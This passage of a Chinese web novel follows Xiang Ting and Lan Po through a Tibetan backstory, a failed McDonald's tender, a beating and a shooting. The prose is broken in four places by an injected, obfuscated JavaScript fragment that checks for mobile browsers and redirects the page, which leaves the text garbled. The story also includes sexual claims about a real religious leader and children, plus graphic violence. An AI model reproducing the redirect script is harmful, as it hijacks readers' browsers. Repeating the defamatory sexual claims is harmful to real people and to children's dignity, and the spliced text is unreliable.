每当这时候,丑苗儿就来了。有时她会从市集上淘几本军事杂志或武侠小说,有一次她给我的头上缠一条大红色的英雄结,记得她那天带来札达县的白酥油,那是用羊奶做的,闻起来很香,装满了我家最大的两只瓷碗。她用普洱茶砖熬好了茶,然后加上牛奶、糌粑和盐,遗憾的是少了核桃。然后她竟真的像画中的魔女,变出了在狮泉河买的一小袋核桃。 吃饱喝足以后,她开始讲故事。 仙女要和山神约会、亲热一番;喇/嘛喝多了,剖死人的尸,说是帮他们的灵魂上天;那个老得快站不住的扎西巴老爹通晓各种呼风降雹威猛真言法,年轻时一个恶咒就可以把仇人的眼睛弄瞎;金塔里面的铜柱能从大腿里深深插进盗窃者的身体;还有男喇/嘛转生为女活佛,女活佛虽因怀春而前功尽弃,但她所修的瑜伽功可以将人身上的病魔转移到狗的身上、还能在冰河上待三天完全没事;上师拿头骨喝水,骨灰抹身,上师是生吃同类的人,但不杀人;仓/央/嘉/措强辩不漏失一滴精/液的房子被特别粉刷成乌金净土的颜色,成了拉萨游客光顾的热门酒馆,现在的十五世达□公开教小男孩吮吸自己肮脏皱缩的老舌头,教信徒兄弟共用一位太太,儿子可以睡母亲;而所谓的金刚杵灌顶就是男上师和女弟子当众双修,通过双修证悟空性,男孩子的根器要在度母这里成熟,女孩子要用身体来供佛,肉身成莲,半点朱唇,万客尝。 “那些人为了达到成佛的目的,怎么有利怎么来,红尘炼心,又何必分别出家在家呢?”她说,“哥,你是纯正的白衣,更不必持这个淫邪戒了。” 我赶紧说:“我有未婚妻了,她在北京等我。” 丑苗儿说:“经云,佛本无相,相由心生。以色止色,以欲解欲;乐空双运,以欲制欲。” 我打断她:“这种经肯定不是佛陀写的,是魔写的。” 她扮鬼脸,吓我:“魔说,你再不离开藏地,只会死无葬身之地。” 其实,这些都是跟案子相关的东西,我得关心这些。可是她柔弱的身体说出这样强有力的话语,还是让我心惊,其惊世骇俗,自不待言。她口中的色情仿佛是担水吃饭,人却不知生而为人的廉耻为何物,被稍微苦一点的日子压着动不了,就找到性来发泄,这是退化到什么程度了?我递给她一碗青稞酒,请她不要说了。她却开始抽我的烟。我发现她居然抽得比我还凶,她还抽那种□□似的尼泊尔鼻烟。 但是总之,她的到来,总让我的夜晚并不虚度。 有一天晚上她没有来。我枕着大风,心里飘忽不定仿佛一直被抛在半空中。我顶着大风,去她经常来时的那条路找她。原来她穿了我送她的那双不合脚的新鞋,脚后跟磨破了皮,痛得走不了路,坐在公路边。冬天的西藏光脱脱的,我一眼就看到了她。珠峰顶上的旗云出现,她身后的瀑布就挂在石壁上,一动不动,仔细看形状有些奇特,像一扇天使的翅膀。 我担心那个冬天她把自己冻死,就提议她去住旅馆,房费我来出,当作是翻译的报酬了。 我说:“到处都是野兽的声音,你一个人太危险了。” 她说:“那声音是大自然的小精灵被囚禁在里面,每逢夜深了、人静了的时候,渴望出来透一透气。” 她委身的那地方,藏红花的雄蕾在枝头急急地勃/起,尖形布满毛刺的肥厚叶片也在栅栏间寻找疯长的裂隙。这次换作我很认真地看着她:“我真的对你刮目相看了。” 冬没结束,春 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398263|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快要到来的时候,西藏开始下雪。我时常请她留宿。火炉烧着,我却有一点点麻木。我会把我的一些衣服给她穿,希望她可以节约一些买衣服的钱,买好吃的。有时候,我甚至很喜欢看着她坐在我身边穿着我的衣服,这感觉,像一家人。 有时候我会想牧区的孩子,真是质朴。忘掉她是一个苗族人。 那天终于想起来,我就说:“我们的通讯员是云贵人,副队长是湘西来的,我们请你吃饭,老乡好好聚聚。也算让你有家的感觉了吧?” 丑苗儿忽然红了眼圈,她说:“哥,我知道你们都是好意。但你们不一定懂同情也会让人很难过。” 我不明白她为什么哭。但我感觉她是西藏夏天的雨,就像一个顽皮的孩子,不开心的时候黑一下脸,飘来一坨黑云就会来一下,来时娇憨,走时懵懵懂懂,去留无意。即便我还没有见过西藏的夏天。 第二次看到她哭,就在她把我从藏獒的嘴下救出来的那个晚上,她哭得特别伤心,边哭边说她不该救我:“一个外乡人,谁知道会带来吉祥还是厄运呢?” 我听她话里的意思,好像农夫与蛇的故事曾经发生在她身上。 我不敢再往下问了。这场面就像桌上放着一壶凉透的酥油茶,表面结了一层油,让人很难开口。何况,我原本就是一个嘴笨的人。 她吞吞吐吐地小声说:“我不想都告诉你。” 我说:“你叫了我一声哥,我会帮你报仇。” 她摇摇头说,对自己救下过的那个男孩,心底并没有恨,只是想再见他一面,那十万个等身头里,包含了这一桩心愿。可见了他,怕又想亲手杀了他。可能这就是很小很小的时候,她对他亲口说过,情蛊,也就是恨蛊。 那天晚上吃团圆饭,为了热闹,叙叙乡情,我把所有队员都叫上了。 我又是才发现,她居然这么能喝,大家最多的喝了半瓶就打住了,她却给自己倒了满满一杯又一杯,停都不停,硬是干了至少一瓶白酒。忽然就不笑了,丑苗儿哭了,就坐那儿眼泪啪啪掉,砸在面前的酒杯里。我们几个大老爷们,突然就不知道该怎么劝住这孩子,我们就傻愣愣看着她哭,手足无措。 副队长坐她旁边,拍着她背,说:“你心里难受,想哭就哭吧。” 丑苗儿哭得撕心裂肺。 止了哭,丑苗儿说话了。 她说:“你们都像我的家人一样待我,我的阿爸阿乃,阿哥都没了,我再喝一杯,今天,我就叫你们一声哥,以后这一辈子你们都是我哥。” 这话一说,大家纷纷举着杯子站起来。而我,未婚妻逼我戒酒好几年了,我是有家室的人,我不可能跟他们胡闹。 可是丑苗儿从桌子底下掏了一把好长的尼/泊/尔弯刀递给我,刀入我手,乌兹钢锭的,挺沉,刀背上还刻有廓尔喀将军的名字。 她说:“哥,这是我送你的。” 一个通宵过去了,天慢慢放亮的时候,这把弯刀抵在了我的脖子上。 蒙昧的天光中有一个低沉而苍老的声音,我至今忘不掉那个喇/嘛的长相,他的表皮收缩了所以把耳朵拉得特别地长,像一具高度腐败的人尸,肚子如洗衣机搅动,呼声大如雷。藏民皆拜伏如奴隶,感激喇/嘛对他们这样微不足道的蚂蚁一般生灵的抚慰。 我和我的小队,无不喝得酩酊大醉,一个不少,一个不落地被妖僧活捉,一网打尽。就是这么个丑得出奇的苗族姑娘,硬是把我们全骗得服服帖帖。 通讯员还是那么达观,沦为阶下囚之前,他还有兴致研究这个:“你再看看她,是男还是女?” 丑苗儿眼睛突然睁大,对着脚下放空。 喇/嘛却对她说:“你那个秽臭不堪,历经不知多少世轮回,瓦查尿溺的身躯,上师为了净化你才加持你,你哪里还有世俗男女分别?” 丑苗儿拽住了喇/嘛的袈裟,我生怕丑苗儿的那只手突然断掉。很快,她便再也不敢生出反抗之心,伸长舌头,献出了自己的名号和心咒。 我在布达拉宫的雪城监狱里写下这些,看到这里的人,请谨记这个职业骗子曾是苗族的圣女,藏地的俱生空行大佛母,还在麦莫溶洞里扮演过神奇的鲛仙,不但可以开口说话,泪流成珠,而且无所不知,信徒众多,敛财无数。在我着笔之时,他已在西藏亲英分子的帮助下,逃亡英国。我是中国人民解放军京津卫戍区总参部陆峥,他的真名叫蓝珀。 77. 英雄难过美人关 高原箭竹做的笔,蘸了兽骨髓和酥油,画出来的线条都接不上,笔尖还开了叉。旧砖色的马粪纸,横七竖八的麦秸杆纤维,爱洇墨,一洇就是一大滩,乌云般散开去。相机镜头下,这桩十年以前的藏地秘闻,更失去了本来面目。 满纸的混沌欲色,结尾那一声却是巨鼓洪钟,它昭告世人,这是蓝珀的一纸罪状。 蓝珀是反人类、反文明、反社会□□喇嘛集团的人,八十年代初靠着藏密流亡政府的护照逃往英国避难,甚至极有可能从事过反华分裂活动。 除了人证,还有物证。 一张照片中的蓝珀,全身绿漆犹如翡翠,被死神拨弄却面貌寂静含笑,怒放的莲花般身心片片舒展,迎接着大乐光明,莹彻的白色月轮,笼罩莲蕊。下一张中他浑身纹满了经文,黑色的面积远远超过了肉色的面积,一张佛陀的脸,深深刻在他的后腰,充血的皮肤上现出不透明的玫瑰色斑点。有时他扮成舞伎,忽然抬起一张抹着白粉的假面,梳着桃割鬓,似一个会动的木偶,是一个毫无思想不知忧伤的美人,横滨街头的一抹幽灵,百鬼众魅,见者有份。他的天衣绸裙用淡墨和代赭双色描绘着水月吉祥观音和燕尾草纹,明艳蝴蝶兰的绢带下,飞瀑流入潭渊,层波叠浪雪沫腾溅,不闻轰隆水声。谁使花粘蛛网丝?小字写道,何非法相,亦是色尘。 这便是项廷打开电脑时,第一眼看见的全部东西。 北京市一把手和麦当劳牌匾的合影,牌匾在故宫的东风中招展的视频,它们都完完好好地躺在文件夹里,没有被删。 四面墙上的投影突然卡住,满屏雪花,像在给项廷提一个友善的醒。 要继续吗? 蓝珀的丑事马上大白于天下。 你功成名就之日—— 就是蓝珀身败名裂之时。 电脑上出现十秒钟的倒计时,几乎不假思索地,项廷亲手毁掉了这个唾手可得,足以颠覆他人生、青霄直上的机会。 “我弃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“我弃标”三个字,把其余厂商的天灵盖都打通了,发现自己刚刚也是上头了,怎么会指望着一个十八岁的后生带他们共同富裕?简直是一部科幻巨制。还为此得罪了刘华龙,悔之晚矣!忙又包围着刘华龙,捧的捧,逗的逗,对他团团作揖。 瓦克恩也是劫后余生的心情,还好项廷现在滚蛋了,要是待会媒体都进来了,项廷再抗旨说他不玩了,那场面可就真的不可收拾。说出去的话泼出去的水,瓦总难道要当着全世界记者的面出尔反尔、临时换人吗? 越想越后怕,瓦克恩下令:封杀项廷,不允许他进入全球任何一家麦当劳! 蓝珀说:“买卖不成仁义在,你有必要说这么难听的话?” 瓦克恩选择性听不见。 蓝珀说:“是不是非要这样?” 瓦克恩装着不认识他。 资本的世界只尊重强者。看看项廷,成为邻里的公敌,他像一只疫鼠般的走了。 成王败寇,没有什么好说的。项廷默默地出了会场,迎面撞上了美滋滋绕后包夹了过来的白希利。 白希利白鹤亮翅亮出战绩:“嘿!照片挺劲爆的吧?看来你还想要更多了?” 咻! 项廷一拳生风,但是停在了白希利脸边一厘米的地方。白希利的时髦发型被狂风剪了个左高右低、参差不齐的斜留海,像脑袋被削掉半个一样。 白希利能找个黑客搞调包,项廷信;说白希利手握那些信和照片还等到今天才出手,三岁小孩听了都要摇头。 没错,白希利只是弄了几张项廷在兄弟会喝多了,脸上被画了大乌龟的糗照。跟蓝珀一点关系都没有。 斜刘海挡住了白希利的独眼,他慢了一步,没追上项廷。 这种远超常人的冷静支撑项廷走到了空无一人的中庭花园时,他终于背靠着爬藤的花架子,一点点地跌着坐在了地上。 国内来电,准是那帮弟兄问自己成没成。没成,但没成的理由该怎么说? 说因为当时国际长途说到一半,欠费,导致BD不分,McDonald''s变成了McBonald''s吗? 还是说为了筹本钱,他让哥们几个撕了项宅大门口革委会贴的封条,反正都要抄家,谁抄不是抄?我抄自己!于是项廷任总指挥,大家不舍昼夜,三天搬空了项家。项父的古董文玩字画、一墙的飞天牌茅台酒,项母留下的钢琴缝纫机,项青云的IBM-PC/XT机,项廷自己的将校服,十几辆摩托车,都卖了,卖了后院里一头八十八岁的金钱龟,就差族谱没给卖了。 瓦克恩说中国的政审流程又臭又长,中国人做事情一点不文明开化。那是因为他找不到对的人,没给够的钱。找了对的人给了够的钱,头天晚上做的McBonald''s,第二天一清早不就跐溜儿一下挂到故宫上头去了?中华民族向来是最文明开化的。 权力寻租的价格自古可不便宜。市规划局狮子大张口,别的部门不管相干不相干,听说人家大口吃肉,不可能不来要一碗汤喝。这就成了无底洞。 抄家所得不够拉拢腐蚀的,项廷还借了许多外债。 倾家荡产,孤注一掷。 血本无归,债台高筑。 项廷掬了一把水,喷泉的水面照出他的脸,好像就这一下子,老掉许多。一个人的眼神永远无法年轻回去。 斑斑的日光洒在身上,却如冻雨淋身。 一只香喷喷的小猫跳到他怀里,项廷也没知觉似的。 他是在想,到底败在哪儿了? 也许是一开始,成功的心就不纯。 他想成功,不只是想为国争光,是他太想要被蓝珀崇拜被蓝珀需要的状态,所以他生硬的英文骈散结合,抓着麦克风声嘶力竭地喧嚣证明自己存在。 太想成功,所以做出不敬自家先祖的事情来,遭到报应。 麦当劳开到故宫里去,糟践中华文化,作孽啊!活该。 不种正因,怎得正果。天意所在,劫数难逃。 项廷猛然醒过来,他一个立志唯物主义改造世界的人,以前老人和他说一些很玄的事情,他一笑了之:我是金翅大鹏雕,如来佛祖见了我也要叫我声娘舅!今天再想下去,竟然想不迷信都难。 他恍然明白,人最无助、无力的时候,就会迷信。迷信就是一个不能自主的人,渴望一个神来作主。他只是一时片刻的迷信,那么蓝珀那样一生一世都在求神拜佛的人,人已然变成了一块诵经时不用敲击也会自鸣的木鱼,自己眼下的痛苦与他比起来,该是多么地微不足道啊! 噌的一声,火柴划着了般。项廷拔地而起,想到蓝珀,想去保护他,那个西藏坛城如同沙子般散开忍受命运之风的丑苗儿,想罩着他让他不要勉强地世故不必兜售自己的美丽,项廷的电量就瞬间满格。 一败涂地怎么样?欠下几百几千万又怎么样?天下事就是这样,车到山前必有路,他不信自己撞了墙转不过弯来! 项廷飞奔回了会场,凭着感觉找,很快找到蓝珀躲在一间小会议室里,不知道跟评委们合计着什么。 隔着门和满屋子的人,项廷就是特别想大声地喊,蓝珀,我爱你!蓝珀,嫁给我吧!蓝珀,我要你当我的太太,天天在家不出门不给别的人看! 可刚刚还被威胁弃标,项廷觉得自己什么也不是,缺乏力量、没有底气说爱他,爱他只会给他带来满身危险。既知这是一朵无果的爱情之花,你为了它好,暂且不要去采撷它。 转身正要走的时候,后脑勺猛不丁地被抡了一棒子。 两个人往他肚子上殴,一个人抓他的头发往墙上撞,墙撞得凹进去了。 不等会议室里的人闻声出来,那帮人就把项廷拖走了。 项廷昏了片刻,缓缓劲醒了。眼前一片黑,他被套在一个麻袋里,疯狂踢打他的人至少有四五个。他们打得差不多了,把麻袋从脚往上推,仍然罩住头,一只脚踩在了他的脖子上,一个人踩住他的背,两个人搜身。 “在我衣服里面的口袋。”项廷的声音除了哑了点,听起来没什么不同。 对方一大伙人给他说得均愣了下,原地立正。 项廷更平静道:“李经理,快点拿走交差吧。” 李经理就是煲煲好的那个经理。本来他们闻讯来给项廷助威,适才却路遇伯尼。伯尼听说弃标,震惊后狂喜,心想天助我,可不能让这小子赚了大钱发展权势,项廷一贫如洗尚翻出这么大的浪来,日后可不得让自己沉船?本来政治上的事,日子还长,谁也不知道鹿死谁手,不好做绝户的事。但是伯尼一想,美国人欺负中国人天公地道,你一个中国人拿捏我美国人就天理不容。民主党党鞭干事就是麻利,马上雇凶,替天行道,痛打落水狗! 经理从左边口袋里翻出什么,项廷声音骤然一紧:“还给我!” ——蓝珀的手帕。 项廷扯下麻袋飞的起身夺回手帕。经理向前闯进一步,左腿一蹲,右腿匝地一扫,使个扫堂腿,他乃少林寺铜人还俗,自知两围大树经他一腿也得两断。不料一腿扫在项廷腿上,恰如扫在石头上一般。项廷没被扫倒,经理却痛得如同骨折筋断一般,向后扑地,砰的倒下,竟仅仅地被反力掼了个壁虎爬沙。 项廷拿回了手帕,便蹲下来,把伯尼的把柄推荐信放到经理手上,自始至终,没动过一丁点粗。 经理忙跃起来,喝众人快走。众人倏一声四散,但有个人刚刚去上了厕所,不知情况,还来踢了项廷两脚。项廷坐在墙角,把手帕护在心口,微微蜷着。踢他,他不动,把烟头扔在他头上,项廷才抬眉看了一眼,那人一跳老远。 项廷站起来,浑身的灰也不拍,便往外走。 白谟玺见到的便是他这副尊容,不知道项廷从哪个泥沟沟里爬上来的:“你怎么在这里?” 同样的话项廷还想问他呢。四周看看,这儿似乎还是四季酒店,经理等人没把他抬多远,就在中庭走廊的拐角。白谟玺负责迎来送往,于是就看见项廷了。 今天是美国法界佛教总会一年一度的大会,父亲白韦德原名洛第嘉措,连任三届的会长,年逾六十却不肯卸任,每年还要大操大办,今年实在有些力不从心了,便叫大儿子来帮忙。白谟玺从小参加僧伽训练班,上各种戒律课、法器课,学习华严字母,奈何毫无佛性,内心唯爱朋克,出道便一炮而红。失恋的苦楚令他柔软,看着父亲盈极而亏的一襟晚照,白谟玺第一次主动提出来搭把手。 在会场被熏陶了半日的佛法,白谟玺不由得想起他和蓝珀以往一起上充满乐趣的素食烹饪课,实地研究旧金山万佛城仙娜郡的蕨类生物的时光,人一旦被爱情深深伤害,什么回忆久而久之都会化为温馨的回忆。蓝珀说好听点是他父亲的门生,嘴巴甜,头脑好,很被看重,往难听里说,就是他家的童养媳。蓝珀跟他父亲那些笔账的来往,白谟玺查清楚了,是蓝珀只要有收入,都要像贡税般按月跟白韦德缴费。虽然白谟玺看他现在越来越不知道自己姓什么了,但是烈马好降就非烈马,做人最重要的是念旧情啊!父亲支招,让他这次对着蓝珀三步一拜,倾述自己的宏愿,追求蓝珀必须要有像轮胎的脸皮、乞丐的身体和宰相的肚皮,最关键像佛陀一样的心境。明白吗?看来父亲是比自己懂得多的,一个名角儿在侧,比香车宝马更能体现身份地位。故而想到蓝珀,仍觉得意犹未尽。知道蓝珀在隔壁招标,踱了两遭,白谟玺还是没有贸贸然前去。蓝珀实在是风骚入骨的一个男人,白谟玺承认为他担心受惊亦很快乐。 因而白谟玺连带着对待项廷,二十四分地和颜悦色,笑道:“你这是跟谁打起来了?别站着,赶紧进来,我给你找点药水搽搽。” “不用了。”项廷说。 “真的没事吗?” “头有点疼。”是非常疼,痛不可抑。从没这样过。 白谟玺估计觉得自己牙龇着很出戏,请不动也就不请了。 项廷待他走没影,才从偏远的角门进去。安保拦住他,项廷说:“我是你们白先生的朋友。也没什么事,路过来拜望一下。” 会场环境清幽,无人不在打坐,闭目修行。项廷堂而皇之地绕过前厅,来到后堂,一扇小门虚掩着。 只见里头一个瘦如排骨的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398265|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 老喇/嘛,左手托骨头碗,碗里盛一颗小丸子似的孩童眼。喇嘛正把毛笔放到嘴里面去,蘸了口水,用口水化开那些矿物颜料,作画时一直在持咒一直在念经。这是一幅雪域魔女的唐卡,魔女的眼睛勾魂摄魄,紧盯着门外的项廷一般。 “谁?”白韦德听见咚咚的脚步声,兀的转头。 当然不是项廷发出来的,而是经理那帮人去而复返。 经理去找伯尼领赏,伯尼见了推荐信,却不见项廷项上人头,大怒。他说此子不可久留,叫经理人道处理,他们还真的人道地放走了项廷!原来一方面是伯尼政治语言比较婉转,一方面经理等人英语词汇量不如老赵。这一回伯尼说,就地处决,砰砰砰砰,半个不留,绝不手软!看经理还傻愣着,伯尼说kill him!kill him! 恶斗的场面开始了。经理一下子捂住项廷的嘴,使劲地将他向后扳去。项廷就地一滚,滚到一边,一个手刀要砍下来时,三四条黑影同时扑向了他。项廷一个箭步飞奔上前,搬起来佛坛就向一个溜光的脑袋扔过去。 大家都再清楚不过,项廷腿脚太厉害真没谁能制住他,平常做人又厚道讲义气,于是几个人芭蕾舞演员一样慢慢转了一圈,一头栽倒在地上,演一演得了。 只有经理穷追不舍,因为伯尼说的那个赏金只有他听懂了几个零! 肯定追不上,项廷来到电梯间的时候,早早甩脱了此人。 轰! 双管泵动式霰/弹/枪3秒内连开6枪!直接轰掉了项廷身后的半面墙! 伯尼没指望那几个跑堂的,只是用他们拖住项廷,正牌军到了! 伯尼请来军队,理由是反恐,抓到恐/怖分子,沉到海底喂鱼,做鲨鱼点心!真正的黑□会原来都是喝着红酒谈政治的,得罪了黑□会还想走? 推车上的酒瓶和玻璃杯掉到地面,亦像子弹横扫。 项廷只能举高双手,戴着夜袭镜全副武装的美国大兵过来缴他的械,微微疑惑着,这少年看上去不大像苏联间谍。然后从最后一个口袋里抽出了那条手帕。 项廷的脸色说变就变,大兵以为他诈降,可一瞬间的警惕心竟也没防过项廷左手将他右臂向下重重拉拽,右手将腰猛力上提,一记上顶,将人从肩背上轰的投摔,泰山陨石坠! 手帕随之而落,一阵风来,竟飘到了断墙之外。 项廷本能地要去抓,甫一伸手,子弹呼啸而至。 枪响,惊得飞鸟散去就像一把树叶落入苍茫的天际。乌云被风撕裂,亦黑压压地滚向远空。 一声巨大的铿当声过后,项廷如同一颗坠落的流星,从二十多层楼的高空朝地面极速俯冲,毫无生还的可能。 风声尖锐,就在即将见到死神的一刹那,下面一片人工湖面像地母般柔软的怀抱,接住了他。 湖水冰冷,但却无比真实,包裹着他那已经近乎失去知觉的身体。 项廷中了弹,无力再抓住他的手帕,它朝水面飞去,项廷离它越来越远,往事,却在烟波里越来越近了。 忽而,那手帕像宝盖伞那般张开,那上面种种多褶的图案,也卒然变得庞大而清晰起来…… “叉是鱼花,沟是牛鞍花,这个提勾呢,叫秤钩花。这三种花和薏米壳串在一起,才是完整的百鸟衣。百鸟身上飞,这就是百鸟衣。” “开口笑的符号就是我们的家,今天我做棉菜粑和糯米饭给你吃,好不好?……哼,你不来,我索性绝食算了。我一直捱着,捱到你来。好啊,我知道了,我得了麻风病,你怕传染!” “三角为山,群山的尽头,木柱顶头雕着一只飞翔的大木鸟。那块空地是我们过年过节时踩芦笙用的;空地中央的木柱是芦笙柱,柱顶上的木鸟叫脊宇鸟,是我们苗家最崇拜的神鸟。” “这只脊宇鸟可不是一只凡鸟。它呢不但会飞,而且会永远地飞,要飞多高有多高,要飞多远有多远。它还不会死,它和日落、日出一样……就像你一样。” “我们苗人居不可无枫,因为枫树是脊宇鸟的母亲啊!我听说,他们红头苗以血誓定情。背着父母,手拉手来到枫香树下的泉边,男子捧起水,女子取出银针,将男子的手指轻轻刺破,殷红的血就渗出滴在水里,先是像丝一样缓缓地游动,最后把那一捧泉水全都染红了。女子喝了三口水,轮到她捧水,男子刺破女子的手,他也把那定情水喝了三口。爱人的血,喝了它,爱会通透全身,会天长地久……咦?我明明是蛊苗,同你一个小不点说这些做什么?……反正呢,随嫁的扁担还要缠上五尺红布,两端系红线各吊一枚铜钱,这叫作鹊桥。” 一方小小的手帕,他却看得见大山油黑的轮廓,看得见西江雪白的颜色,看得见枫树疏密的枝丫,看得见田野纵横的埂子,看得见芭蕉叶款款随风摆动的姿态,衣上的百鸟扑扑地飞了出来。看得见那些银饰似有千万个月亮挂在身上,花衣银饰,走到哪儿都艳丽生光。花亘四时,永开不败。 更看得见自己的心,他终于明白了他不知所终的爱从何而起,那个把花带捂在脸上羞人的少女,那个枫香树下失约的男孩。 男孩的生命是少女点燃的,所以也只有少女能将它熄灭。 发了疯般往上游,紧紧抓住了手帕,项廷靠着那条中弹的胳膊,撑到了岸上。 稍许昏了一会,很快又惊醒过来。 “仰阿莎。”这是项廷说的第一句话。 79. 妾身事郎无二心 小会议室里,瓦克恩一个劲儿盯着自己合着的双手。他觉得嗓子眼有点发干,费劲地做了一个吞咽的动作。 麦当劳都快卖身还债了,股东权益为负,董事会天天发愁,就这个大萧条的现状,蓝珀居然还要重仓买入。 蓝珀的这张脸,瓦克恩看不懂只能反复观看。 “你先开个价吧。”瓦克恩刻意把语气压抑得漠然。 “那好,我可以给你的价格是50美元一股。”蓝珀说。 “不可能,这太低了。”瓦克恩看了看手表,露出一副很不耐烦,“别想捡漏”的样子。 “那你要多少?” “60美元左右吧,差不多就行。” 蓝珀笑了道:“你这样做缺少绅士风度。” 瓦克恩同样也笑:“你的报价亦和贵行的气派殊不相称,有失体面。” “但我们最好还是少讲点气派,多做点生意,你说呢?” “蓝,我只是随口说说的,想引起你的注意。”瓦克恩敲出烟斗中的烟灰,“折中一下,如何?” “我们是不可能在这个价位上交易的。我就讲这些。除非还有什么不清楚的地方要我解答。” 瓦克恩迟疑了一下。 蓝珀遗憾地摇摇头:“那好,那我不买了,就当什么都没发生过。” 蓝珀理了理散落在额前的头发,接着他埋怨这里缺少新鲜空气,满屋子都是烟雾。 瓦克恩亲自起身去开一点门,经过蓝珀身边的时候,他俯下身来几乎半蹲着,很亲近地说:“好吧,我觉得50美元也应该行得通,但是我必须跟董事会先商量一下。这个先别说出去。” 蓝珀坐在位子上,脸上冷冰冰的不带表情。瓦克恩也没直起身体来。 “似乎我来得不是很巧。” 白谟玺出现在打开的门外。听说招标会将近尾声了,他再不来,蓝珀就走了。 “请别见人就咬。”蓝珀背对着他说。 蓝珀的口吻一向是很轻的,轻到极点,但是有股华贵而热烈的感觉。别人说shit,他最多说shiity,而且说得像kitty。所以白谟玺被他促狭了一句,竟通体都舒坦了,脏腑归位。秋水中新月的倒影,冷艳而脱俗。已经爱上了这种被攻击的感觉,沉迷于他那点挑逗的野性。 瓦克恩说:“白先生?你来是有什么要紧事吗?” 白谟玺回过神来,托辞道:“哦!我刚刚碰上项廷,问了几句最近功课怎么样、缺不缺钱花,结果这小子溜得可快,我正在四处找他。” 嗖!蓝珀的转椅转了一百八十度,逼到了白谟玺的眼睛鼻子前,声色俱厉,还没几个字就破了音:“你怎么会见到他了?你和你爸做的好事,不会被他瞧个正着吧?你也配跟他说话,你知不知道多说多错啊?大漏勺一样就少说话!” 白谟玺还没作答,瓦克恩见蓝珀如此关心则乱的样子,已然悟出了点什么:“蓝,你突然要和我交易,不会还有一些附加条款吧?” 蓝珀不否认:“那又怎样呢,你可不屑与一个孩子一般见识吧?欺负小孩,实在太有损你的形象了。” 白谟玺毫不知前因后果,但插嘴道:“哪个小孩,项廷?” 蓝珀一惊一乍:“你指名道姓的什么意思?” 白谟玺心下怪怪的,就回了一句:“什么叫欺负他?他那种没脸没皮的,谁有本事欺负得到他啊?” 蓝珀忽说:“60美元,合同现在签。” 一听到项廷的名字,瓦克恩的怒火就像胸腔里不断膨胀的泡,这个屋子已经装不下他的怒火了。瓦克恩风度尚佳地说:“蓝,你就算出到120美元一股,我也绝不会让项廷中标。” 白谟玺附和道:“他中标?穷人发财如同受罪啊。” 蓝珀声音抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15398266|168652||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 然一尖:“用不着你来咒我,我这个人福大命大!” 白谟玺混乱了,他明明说的项廷,怎么成咒蓝珀了呢? 瓦克恩平常接触太多情绪稳定的人了,对蓝珀没有应对的经验,亦只能沉默以对。 白谟玺尴尬地耸着肩膀:“我是说这小子天天六神无主的,做事跟缺失脑干一样,自由散漫惯了,应该送到一所严厉的学校要他去求点学问。” 蓝珀要走,白谟玺拦在他前面。感觉这时轻则被捶一下,重则遭到耳掴,于是白谟玺挺起了胸膛。 哪知道蓝珀提膝狠狠一踹! 白谟玺倒在沙发上,却比跌在地上更狼狈,像触电一样不敢再动。他满脸无知哪里得罪了蓝珀,看蓝珀那样子,要不是赶时间,真要竭尽力气把自己踩到七孔流血,踩到死无全尸了!他的蓝何时变得如此蛮横,不可教化了?像个狮子吼。 蓝珀决然地走了。 会议室里剩下的两个男人或多或少都被蓝珀欺压,都觉得很丢脸,也知道对方知道自己丢脸,谁先去追谁更丢脸,就都没动。只有自以为暗杀成功的伯尼满面春风地来了,本来邀请大伙去打马球,见状笑道:“还没等秋风起,二位就厮杀起来了?” 蓝珀莫名慌乱,他本来决定从今往后与项廷绝交,把心头的缠绕挣扎断,不了终于有了了结。可现在竟慌得什么也不想管了,只要听别人说了项廷一句不是,他心里就难受到了极点,像几百几千只小刀子一样地刺着他。 找到中庭的时候,丝丝缕缕的太阳雨从镂空的穹顶上飘下来。侍应生送来一把伞。 走到水景处的转角时,这一刻天地间的雨珠晶莹闪烁都如光圈,蓝珀倏忽间意乱心慌,慌得他一无所知地在雨中丢掉了伞。 他想着项廷会像以前,见到他就欢天喜地地扑上来,立正、站好、听驯。 项廷却像礁石后面躲着的一只章鱼。 80. 悔教夫婿觅封侯 章鱼:“别过来!” 蓝珀愣了一下,说:“是你别过来!看见我走远点,从今往后,我是我,你是你,我看见你就晦气!” 项廷那儿没声。 蓝珀不确定他还在不在拐角的后面,往前走一步,项廷就像小偷正在作案听到了主人回家。 笼罩着一层很不自然的沉默。蓝珀:“你做了什么亏心事?捻神捻鬼的,怎么吓成这样?狗的样,乌龟胆,还当过兵呢。” 